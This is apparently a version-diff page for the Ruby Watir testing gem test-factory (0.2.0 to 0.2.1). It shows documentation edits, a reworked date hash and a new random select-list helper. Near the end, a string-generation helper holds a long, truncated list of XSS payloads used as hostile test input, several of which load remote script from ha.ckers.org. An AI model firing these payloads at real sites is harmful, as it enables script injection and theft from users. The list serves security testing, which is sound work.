test-factory 0.2.0 → 0.2.1
Sign up to get free protection for your applications and to get access to all the features.
- data/README.md +3 -2
- data/lib/test-factory/core_ext.rb +4 -0
- data/lib/test-factory/data_factory.rb +45 -14
- data/lib/test-factory/date_factory.rb +23 -17
- data/lib/test-factory/foundry.rb +5 -0
- data/lib/test-factory/gem_ext.rb +43 -1
- data/lib/test-factory/page_factory.rb +10 -0
- data/lib/test-factory/string_factory.rb +11 -0
- data/test-factory.gemspec +1 -1
- metadata +2 -3
- data/test-factory-0.1.11.gem +0 -0
data/README.md
CHANGED
@@ -60,11 +60,11 @@ class BasePage < PageFactory
|
|
60
60
|
def header_elements
|
61
61
|
element(:main_menu_link) { |b| b.link(title: "Main Menu") }
|
62
62
|
element(:logout) { |b| b.button(value: "Logout") }
|
63
|
-
element(:
|
63
|
+
element(:administration_link) { |b| b.link(title: "Administration") }
|
64
64
|
|
65
65
|
action(:main_menu) { |p| p.main_menu_link.click }
|
66
66
|
action(:provide_feedback) { |b| b.link(title: "Provide Feedback").click }
|
67
|
-
action(:administration) { |p| p.
|
67
|
+
action(:administration) { |p| p.administration_link.click }
|
68
68
|
end
|
69
69
|
end
|
70
70
|
end
|
@@ -233,6 +233,7 @@ end
|
|
233
233
|
CRUD methods in the data object.
|
234
234
|
* See the gem_ext.rb file's discussion of the Watir `#fit` method for additional
|
235
235
|
design pattern rules to follow.
|
236
|
+
* Please make an effort to follow the [Ruby Style Guidelines](http://www.caliban.org/ruby/rubyguide.shtml#style).
|
236
237
|
|
237
238
|
Notice
|
238
239
|
------
|
@@ -36,6 +36,7 @@ class Time
|
|
36
36
|
# Wed Apr 21 00:45:59 EDT 2004,
|
37
37
|
# Wed Apr 21 01:02:47 EDT 2004,
|
38
38
|
# Wed Apr 21 01:31:00 EDT 2004]
|
39
|
+
#
|
39
40
|
def self.random(params={})
|
40
41
|
years_back = params[:year_range] || 5
|
41
42
|
year = (rand * (years_back)).ceil + (Time.now.year - years_back)
|
@@ -57,16 +58,19 @@ module Enumerable
|
|
57
58
|
|
58
59
|
# Use for getting a natural sort order instead of the ASCII
|
59
60
|
# sort order.
|
61
|
+
#
|
60
62
|
def alphabetize
|
61
63
|
sort { |a, b| grouped_compare(a, b) }
|
62
64
|
end
|
63
65
|
|
64
66
|
# Use for sorting an Enumerable object in place.
|
67
|
+
#
|
65
68
|
def alphabetize!
|
66
69
|
sort! { |a, b| grouped_compare(a, b) }
|
67
70
|
end
|
68
71
|
|
69
72
|
private
|
73
|
+
|
70
74
|
def grouped_compare(a, b)
|
71
75
|
loop {
|
72
76
|
a_chunk, a = extract_alpha_or_number_group(a)
|
@@ -4,6 +4,7 @@ module DataFactory
|
|
4
4
|
# Add this to the bottom of your Data Object's initialize method.
|
5
5
|
# Converts the contents of the hash into the class's instance variables.
|
6
6
|
# @param hash [Hash] Contains all options required for creating the needed Data Object
|
7
|
+
#
|
7
8
|
def set_options(hash)
|
8
9
|
hash.each do |key, value|
|
9
10
|
instance_variable_set("@#{key}", value)
|
@@ -12,8 +13,7 @@ module DataFactory
|
|
12
13
|
alias update_options set_options
|
13
14
|
|
14
15
|
# Items passed to this method are checked to ensure that the associated class instance variable
|
15
|
-
# is not nil. If it is, the script is aborted and an error is thrown
|
16
|
-
# the Data Object requires before the script can run.
|
16
|
+
# is not nil. If it is, the script is aborted and an error is thrown.
|
17
17
|
# @param elements [Array] the list of items that are required.
|
18
18
|
#
|
19
19
|
# @example
|
@@ -32,23 +32,51 @@ module DataFactory
|
|
32
32
|
# be passed directly as methods for updating or validating the checkbox later.
|
33
33
|
#
|
34
34
|
# @param checkbox [Watir::CheckBox] The checkbox on the page that you want to inspect
|
35
|
+
#
|
35
36
|
def checkbox_setting(checkbox)
|
36
37
|
checkbox.set? ? :set : :clear
|
37
38
|
end
|
38
39
|
alias radio_setting checkbox_setting
|
39
40
|
|
40
|
-
#
|
41
|
-
#
|
42
|
-
#
|
43
|
-
#
|
44
|
-
#
|
45
|
-
# a
|
46
|
-
#
|
41
|
+
# This is a specialized method for use with any select list boxes
|
42
|
+
# that exist in the site you're testing and will contain
|
43
|
+
# unpredictable default values.
|
44
|
+
#
|
45
|
+
# Admittedly, this is a bit unusual, but one example would be
|
46
|
+
# be a "due date" list that changes its default selection based
|
47
|
+
# on today's date. You're going to want to do one of two things
|
48
|
+
# with that select list:
|
49
|
+
#
|
50
|
+
# 1) Retrieve and store the select list's value
|
51
|
+
# 2) Specify a custom value to select
|
52
|
+
#
|
53
|
+
# Enter: #get_or_select!
|
54
|
+
#
|
55
|
+
# Assuming you just want to store the default value, then your
|
56
|
+
# Data Object's instance variable for the field will--initially--be
|
57
|
+
# nil. In that case, #get_or_select! will grab the select list's
|
58
|
+
# current value and store it in your instance variable.
|
59
|
+
#
|
60
|
+
# On the other hand, if you want to update that field with your
|
61
|
+
# custom value, then your instance variable will not be nil, so
|
62
|
+
# #get_or_select! will take that value and use it to update the
|
63
|
+
# select list.
|
64
|
+
#
|
65
|
+
# Note that this method *only* works with select lists that take
|
66
|
+
# a single selection. Multi-selects are not supported.
|
67
|
+
#
|
68
|
+
# Also note that the first parameter is *not* the instance variable
|
69
|
+
# you need to use/update. It is a *symbol* that otherwise matches
|
70
|
+
# the instance variable.
|
71
|
+
#
|
72
|
+
# @param inst_var_sym [Symbol] A Symbol that _must_ match the instance variable that
|
73
|
+
# will either be set or be used to update the page
|
47
74
|
# @param select_list [Watir::Select] The relevant select list element on the page
|
48
75
|
#
|
49
76
|
# @example
|
50
77
|
#
|
51
78
|
# get_or_select! :@num_resubmissions, page.num_resubmissions
|
79
|
+
#
|
52
80
|
def get_or_select!(inst_var_sym, select_list)
|
53
81
|
value = instance_variable_get inst_var_sym
|
54
82
|
if value==nil
|
@@ -60,17 +88,20 @@ module DataFactory
|
|
60
88
|
|
61
89
|
# This method accomplishes the same thing as #get_or_select! but
|
62
90
|
# is used specifically when the instance variable being used/updated
|
63
|
-
# is a Hash
|
64
|
-
#
|
91
|
+
# is a Hash and you only need to update one of its key/value pairs.
|
92
|
+
#
|
93
|
+
# Pay close attention to the syntax differences between
|
94
|
+
# this method and #get_or_select!
|
65
95
|
#
|
66
|
-
# First, note that the returned value of this method must be
|
67
|
-
# passed to the relevant key in the Hash. Note also that unlike
|
68
|
-
# #get_or_select!, this method does not take a
|
96
|
+
# First, note that the returned value of this method must be explicitly
|
97
|
+
# passed to the relevant key in the Hash instance variable. Note also that, unlike
|
98
|
+
# #get_or_select!, this method does *not* take a symbolized representation
|
69
99
|
# of the instance variable.
|
70
100
|
#
|
71
101
|
# @example
|
72
102
|
#
|
73
103
|
# @open[:day] = get_or_select(@open[:day], page.open_day)
|
104
|
+
#
|
74
105
|
def get_or_select(hash_inst_var, select_list)
|
75
106
|
if hash_inst_var==nil
|
76
107
|
select_list.selected_options[0].text
|
@@ -7,25 +7,28 @@ module DateFactory
|
|
7
7
|
# various parts of the relevant date.
|
8
8
|
# @param time_object [Time] the moment you want to convert
|
9
9
|
# @returns [Hash] a hash object containing various parts of the date/time you passed to the method
|
10
|
+
#
|
10
11
|
def date_factory(time_object)
|
11
12
|
{
|
12
|
-
:
|
13
|
-
:
|
14
|
-
:
|
15
|
-
:
|
16
|
-
:
|
17
|
-
:
|
18
|
-
:
|
19
|
-
:
|
20
|
-
:
|
21
|
-
:
|
22
|
-
:
|
23
|
-
:
|
24
|
-
:
|
25
|
-
:
|
26
|
-
:
|
27
|
-
:
|
28
|
-
:
|
13
|
+
sakai: make_date(time_object),
|
14
|
+
sakai_rounded: make_date(time_object).gsub!(/:\d+/, ":#{Time.at(time_object.to_i/(5*60)*(5*60)).strftime("%M")}"), # Date with time rounded to nearest 5-minute mark.
|
15
|
+
short_date: time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
|
16
|
+
samigo: time_object.strftime("%m/%d/%Y %I:%M:%S %p"), # => "10/30/2012 07:02:05 AM"
|
17
|
+
MON: time_object.strftime("%^b"), # => "DEC"
|
18
|
+
Mon: time_object.strftime("%b"), # => "Jan"
|
19
|
+
Month: time_object.strftime("%B"), # => "February"
|
20
|
+
month_int: time_object.month, # => 3
|
21
|
+
day_of_month: time_object.day, # => 17 Note this is not zero-padded
|
22
|
+
weekday: time_object.strftime("%A"), # => "Monday"
|
23
|
+
wkdy: time_object.strftime("%a"), # => "Tue"
|
24
|
+
year: time_object.year, # => 2013
|
25
|
+
hour: time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
|
26
|
+
minute: time_object.strftime("%M"), # => "02" Zero-padded
|
27
|
+
minute_rounded: (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
|
28
|
+
meridian: time_object.strftime("%P"), # => "pm"
|
29
|
+
MERIDIAN: time_object.strftime("%p"), # => "AM"
|
30
|
+
date_w_slashes: time_object.strftime("%m/%d/%Y"), # => 02/08/2013
|
31
|
+
custom: time_object # => Allows creation of a custom date string using the passed time value.
|
29
32
|
}
|
30
33
|
end
|
31
34
|
|
@@ -71,6 +74,7 @@ module DateFactory
|
|
71
74
|
# the count of minutes as the parameter, and
|
72
75
|
# returns the date_factory hash for the
|
73
76
|
# resulting Time value.
|
77
|
+
#
|
74
78
|
def minutes_ago(mins)
|
75
79
|
date_factory(Time.now - mins*60)
|
76
80
|
end
|
@@ -82,6 +86,7 @@ module DateFactory
|
|
82
86
|
# Returns the current month as an
|
83
87
|
# upper-case 3-letter string.
|
84
88
|
# example: "JUL"
|
89
|
+
#
|
85
90
|
def current_month
|
86
91
|
Time.now.strftime("%^b")
|
87
92
|
end
|
@@ -126,6 +131,7 @@ module DateFactory
|
|
126
131
|
#
|
127
132
|
# @param time_object [Time] the moment that you want converted to the string
|
128
133
|
# @returns [String] a date formatted to look like this: Jun 8, 2012 12:02 pm
|
134
|
+
#
|
129
135
|
def make_date(time_object)
|
130
136
|
month = time_object.strftime("%b ")
|
131
137
|
day = time_object.strftime("%-d")
|
data/lib/test-factory/foundry.rb
CHANGED
@@ -6,6 +6,7 @@ module Foundry
|
|
6
6
|
# code that you specify.
|
7
7
|
# @param page_class [Class] the name of the page class that you want to instantiate
|
8
8
|
# @param &block [C] this is the block of code that you want to run while on the given page
|
9
|
+
#
|
9
10
|
def visit page_class, &block
|
10
11
|
on page_class, true, &block
|
11
12
|
end
|
@@ -15,6 +16,7 @@ module Foundry
|
|
15
16
|
# @param page_class [Class] the name of the page class that you want to instantiate
|
16
17
|
# @param visit [TrueClass, FalseClass] Essentially you will never have to specify this explicitly
|
17
18
|
# @param &block [C] this is the block of code that you want to run while on the given page
|
19
|
+
#
|
18
20
|
def on page_class, visit=false, &block
|
19
21
|
@current_page = page_class.new @browser, visit
|
20
22
|
block.call @current_page if block
|
@@ -26,6 +28,7 @@ module Foundry
|
|
26
28
|
#
|
27
29
|
# @param data_object_class [Class] The name of the class you want to use to build a data object for testing
|
28
30
|
# @param opts [Hash] The list of attributes you want to give to your data object
|
31
|
+
#
|
29
32
|
def make data_object_class, opts={}
|
30
33
|
data_object_class.new @browser, opts
|
31
34
|
end
|
@@ -35,6 +38,7 @@ module Foundry
|
|
35
38
|
# combining the make with the create. Of course, this
|
36
39
|
# requires that your data object classes properly follow the design
|
37
40
|
# pattern and have a #create method available.
|
41
|
+
#
|
38
42
|
def create data_object_class, opts={}
|
39
43
|
data_object = make data_object_class, opts
|
40
44
|
data_object.create
|
@@ -50,6 +54,7 @@ module Foundry
|
|
50
54
|
#
|
51
55
|
# @example
|
52
56
|
# page.wait_until { |b| b.processing_message=="Done" }
|
57
|
+
#
|
53
58
|
def wait_until(timeout=30, message=nil, &block)
|
54
59
|
Object::Watir::Wait.until(timeout, message, &block)
|
55
60
|
end
|
data/lib/test-factory/gem_ext.rb
CHANGED
@@ -62,7 +62,10 @@
|
|
62
62
|
# # ...
|
63
63
|
# end
|
64
64
|
#
|
65
|
-
#
|
65
|
+
# That's just nasty! Your Page Class has two element definitions that are nearly identical.
|
66
|
+
# And the nested conditional in the Data Object's #edit method hurts the eyes!
|
67
|
+
#
|
68
|
+
# Now, let's take that same code, but this time use the +#fit+ method. We'll assume that
|
66
69
|
# the data object's +@option+ instance variable will be +:set+, +:clear+, or +nil+, and
|
67
70
|
# end the +#edit+ with the DataFactory's +#set_options+ helper method...
|
68
71
|
#
|
@@ -87,6 +90,8 @@
|
|
87
90
|
# # ...
|
88
91
|
# end
|
89
92
|
#
|
93
|
+
# Much cleaner!
|
94
|
+
#
|
90
95
|
# If you absolutely _must_ have your data object's instance variable be something
|
91
96
|
# other than +:set+ or +:clear+, then consider writing a private transform method
|
92
97
|
# in your data object class, like this:
|
@@ -106,6 +111,7 @@ module Watir
|
|
106
111
|
# Use when the argument you are passing to a text field
|
107
112
|
# may be nil, in which case you don't
|
108
113
|
# want to do anything with the page element.
|
114
|
+
#
|
109
115
|
def fit(args)
|
110
116
|
unless args==nil
|
111
117
|
assert_exists
|
@@ -118,13 +124,49 @@ module Watir
|
|
118
124
|
end
|
119
125
|
|
120
126
|
class Select
|
127
|
+
|
121
128
|
# Extends Watir's methods.
|
122
129
|
# Use when the argument you are passing to a text field
|
123
130
|
# may be nil, in which case you don't
|
124
131
|
# want to do anything with the page element.
|
132
|
+
# @example
|
133
|
+
# page.select_list.fit @my_selection
|
134
|
+
#
|
125
135
|
def fit(str_or_rx)
|
126
136
|
select_by :text, str_or_rx unless str_or_rx==nil
|
127
137
|
end
|
138
|
+
|
139
|
+
# Allows you to select an item from a selection list
|
140
|
+
# at random. It returns the selected item so that
|
141
|
+
# the data object's class instance variable will
|
142
|
+
# have the correct value.
|
143
|
+
#
|
144
|
+
# In other words, proper use of this method involves
|
145
|
+
# setting the associated class instance variable
|
146
|
+
# with it, like so...
|
147
|
+
# @example
|
148
|
+
# @my_selection=page.select_list.pick @my_selection
|
149
|
+
#
|
150
|
+
def pick(item)
|
151
|
+
if item==:random
|
152
|
+
select_at_random
|
153
|
+
else
|
154
|
+
fit item
|
155
|
+
item
|
156
|
+
end
|
157
|
+
end
|
158
|
+
|
159
|
+
private
|
160
|
+
|
161
|
+
def select_at_random
|
162
|
+
text_array = []
|
163
|
+
options.each { |opt| text_array << opt.text }
|
164
|
+
text_array.delete_if { |text| text=="select" }
|
165
|
+
text_array.shuffle!
|
166
|
+
select text_array[0]
|
167
|
+
text_array[0]
|
168
|
+
end
|
169
|
+
|
128
170
|
end
|
129
171
|
|
130
172
|
end
|
@@ -1,10 +1,12 @@
|
|
1
1
|
# The PageFactory class provides a set of methods that allow the rapid creation of page element definitions--known
|
2
2
|
# colloquially as "page objects". These elements are defined using Watir syntax. Please see www.watir.com if you are
|
3
3
|
# not familiar with Watir.
|
4
|
+
#
|
4
5
|
class PageFactory
|
5
6
|
|
6
7
|
# As the PageFactory will be the superclass for all your page classes, having this initialize
|
7
8
|
# method here means it's only written once.
|
9
|
+
#
|
8
10
|
def initialize browser, visit = false
|
9
11
|
@browser = browser
|
10
12
|
goto if visit
|
@@ -15,6 +17,7 @@ class PageFactory
|
|
15
17
|
# Catches any "missing" methods and passes them to the browser object--which means
|
16
18
|
# that Watir will take care of parsing them, so the assumption is that the method being
|
17
19
|
# passed is a valid method for the browser object.
|
20
|
+
#
|
18
21
|
def method_missing sym, *args, &block
|
19
22
|
@browser.send sym, *args, &block
|
20
23
|
end
|
@@ -23,6 +26,7 @@ class PageFactory
|
|
23
26
|
|
24
27
|
# Define this in a page class and when you use the "visit" method to instantiate the class
|
25
28
|
# it will enter the URL in the browser's address bar.
|
29
|
+
#
|
26
30
|
def page_url url
|
27
31
|
define_method 'goto' do
|
28
32
|
@browser.goto url
|
@@ -32,6 +36,7 @@ class PageFactory
|
|
32
36
|
# Define this in a page class and when that class is instantiated it will wait until that
|
33
37
|
# element appears on the page before continuing with the script.
|
34
38
|
# @param element_name [Symbol] The method name of the element that must be present on the page
|
39
|
+
#
|
35
40
|
def expected_element element_name, timeout=30
|
36
41
|
define_method 'expected_element' do
|
37
42
|
self.send(element_name).wait_until_present timeout
|
@@ -42,6 +47,7 @@ class PageFactory
|
|
42
47
|
# the browser's title matches the expected title. If there isn't a match, it raises an
|
43
48
|
# error and halts the script.
|
44
49
|
# @param expected_title [String] The exact text that is expected to appear in the Browser title when the page loads
|
50
|
+
#
|
45
51
|
def expected_title expected_title
|
46
52
|
define_method 'has_expected_title?' do
|
47
53
|
has_expected_title = expected_title.kind_of?(Regexp) ? expected_title =~ @browser.title : expected_title == @browser.title
|
@@ -56,6 +62,7 @@ class PageFactory
|
|
56
62
|
# @example
|
57
63
|
# element(:title) { |b| b.text_field(:id=>"title-id") }
|
58
64
|
# value(:page_header) { |b| b.h3(:class=>"page_header").text }
|
65
|
+
#
|
59
66
|
def element element_name
|
60
67
|
raise "#{element_name} is being defined twice in #{self}!" if self.instance_methods.include?(element_name.to_sym)
|
61
68
|
define_method element_name.to_s do
|
@@ -88,6 +95,7 @@ class PageFactory
|
|
88
95
|
#
|
89
96
|
# @example
|
90
97
|
# link("Click Me For Fun!") => Creates the methods #click_me_for_fun and #click_me_for_fun_link
|
98
|
+
#
|
91
99
|
def link(link_text)
|
92
100
|
element(damballa(link_text+"_link")) { |b| b.link(:text=>link_text) }
|
93
101
|
action(damballa(link_text)) { |b| b.link(:text=>link_text).click }
|
@@ -105,6 +113,7 @@ class PageFactory
|
|
105
113
|
#
|
106
114
|
# @example
|
107
115
|
# button("Click Me For Fun!") => Creates the methods #click_me_for_fun and #click_me_for_fun_button
|
116
|
+
#
|
108
117
|
def button(button_text)
|
109
118
|
element(damballa(button_text+"_button")) { |b| b.button(:value=>button_text) }
|
110
119
|
action(damballa(button_text)) { |b| b.button(:value=>button_text).click }
|
@@ -112,6 +121,7 @@ class PageFactory
|
|
112
121
|
|
113
122
|
# A helper method that converts the passed string into snake case. See the StringFactory
|
114
123
|
# module for more info.
|
124
|
+
#
|
115
125
|
def damballa(text)
|
116
126
|
StringFactory::damballa(text)
|
117
127
|
end
|
@@ -7,6 +7,7 @@ module StringFactory
|
|
7
7
|
# from 33 to 128. Default length is 10 characters.
|
8
8
|
# @param length [Integer] The count of characters in the string
|
9
9
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
10
|
+
#
|
10
11
|
def random_string(length=10, s="")
|
11
12
|
length.enum_for(:times).inject(s) do |result, index|
|
12
13
|
s << rand(93) + 33
|
@@ -17,6 +18,7 @@ module StringFactory
|
|
17
18
|
# from 33 to 256. Default length is 10 characters.
|
18
19
|
# @param length [Integer] The count of characters in the string
|
19
20
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
21
|
+
#
|
20
22
|
def random_high_ascii(length=10, s="")
|
21
23
|
length.enum_for(:times).inject(s) do |result, index|
|
22
24
|
s << rand(223) + 33
|
@@ -26,6 +28,7 @@ module StringFactory
|
|
26
28
|
# A "friendlier" random string generator. No characters need to be escaped for valid URLs.
|
27
29
|
# Uses no Reserved or "Unsafe" characters.
|
28
30
|
# Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
|
31
|
+
#
|
29
32
|
def random_nicelink(length=10)
|
30
33
|
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
|
31
34
|
(0...length).map { chars[rand(chars.size)]}.join
|
@@ -34,6 +37,7 @@ module StringFactory
|
|
34
37
|
# Returns a string that is properly formatted like an email address.
|
35
38
|
# The string returned defaults to 268 characters long.
|
36
39
|
# @param x [Integer] This is not the length of the whole string, but only of the "name" portion of the email, minus 2.
|
40
|
+
#
|
37
41
|
def random_email(x=62)
|
38
42
|
x > 62 ? x=62 : x=x
|
39
43
|
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
|
@@ -44,6 +48,7 @@ module StringFactory
|
|
44
48
|
# available on an American Qwerty keyboard.
|
45
49
|
# @param length [Integer] The count of characters in the string
|
46
50
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
51
|
+
#
|
47
52
|
def random_alphanums_plus(length=10, s="")
|
48
53
|
chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $ % ^ & * ( ) _ + - = { } [ ] \\ : " ; ' < > ? , . / }
|
49
54
|
length.times { s << chars[rand(chars.size)] }
|
@@ -53,6 +58,7 @@ module StringFactory
|
|
53
58
|
# A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
|
54
59
|
# @param length [Integer] The count of characters in the string
|
55
60
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
61
|
+
#
|
56
62
|
def random_alphanums(length=10, s="")
|
57
63
|
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
|
58
64
|
length.times { s << chars[rand(chars.size)] }
|
@@ -62,6 +68,7 @@ module StringFactory
|
|
62
68
|
# A random string generator that uses only lower case letters.
|
63
69
|
# @param length [Integer] The count of characters in the string
|
64
70
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
71
|
+
#
|
65
72
|
def random_letters(length=10, s="")
|
66
73
|
chars = 'abcdefghjkmnpqrstuvwxyz'
|
67
74
|
length.times { s << chars[rand(chars.size)] }
|
@@ -81,6 +88,7 @@ module StringFactory
|
|
81
88
|
# :string => uses the #random_string method, so chars 33 through 128 will be included
|
82
89
|
# :ascii => All ASCII chars from 33 to 256 are fair game -> uses #random_high_ascii
|
83
90
|
# :lorem => Will generate a pseudo-lorem-ipsum block of text using the LATIN_VOCABULARY constant as the source
|
91
|
+
#
|
84
92
|
def random_multiline(word_count=2, line_count=2, char_type=:alpha)
|
85
93
|
char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)", :lorem=>"LATIN_VOCABULARY[rand(LATIN_VOCABULARY.length)]"}
|
86
94
|
if line_count > word_count
|
@@ -106,6 +114,7 @@ module StringFactory
|
|
106
114
|
# The strings are organized by length, with the shorter ones
|
107
115
|
# first. There are 102 strings.
|
108
116
|
# @param number [Integer] Should be a number between 1 and 102
|
117
|
+
#
|
109
118
|
def random_xss_string(number=102)
|
110
119
|
number > 102 ? number = 102 : number
|
111
120
|
xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav	ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\"  javascript:alert('XSS');\">", "<IMG SRC=javascript:alert("XSS")>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=javascript:alert('XSS')>", "<HEAD><META 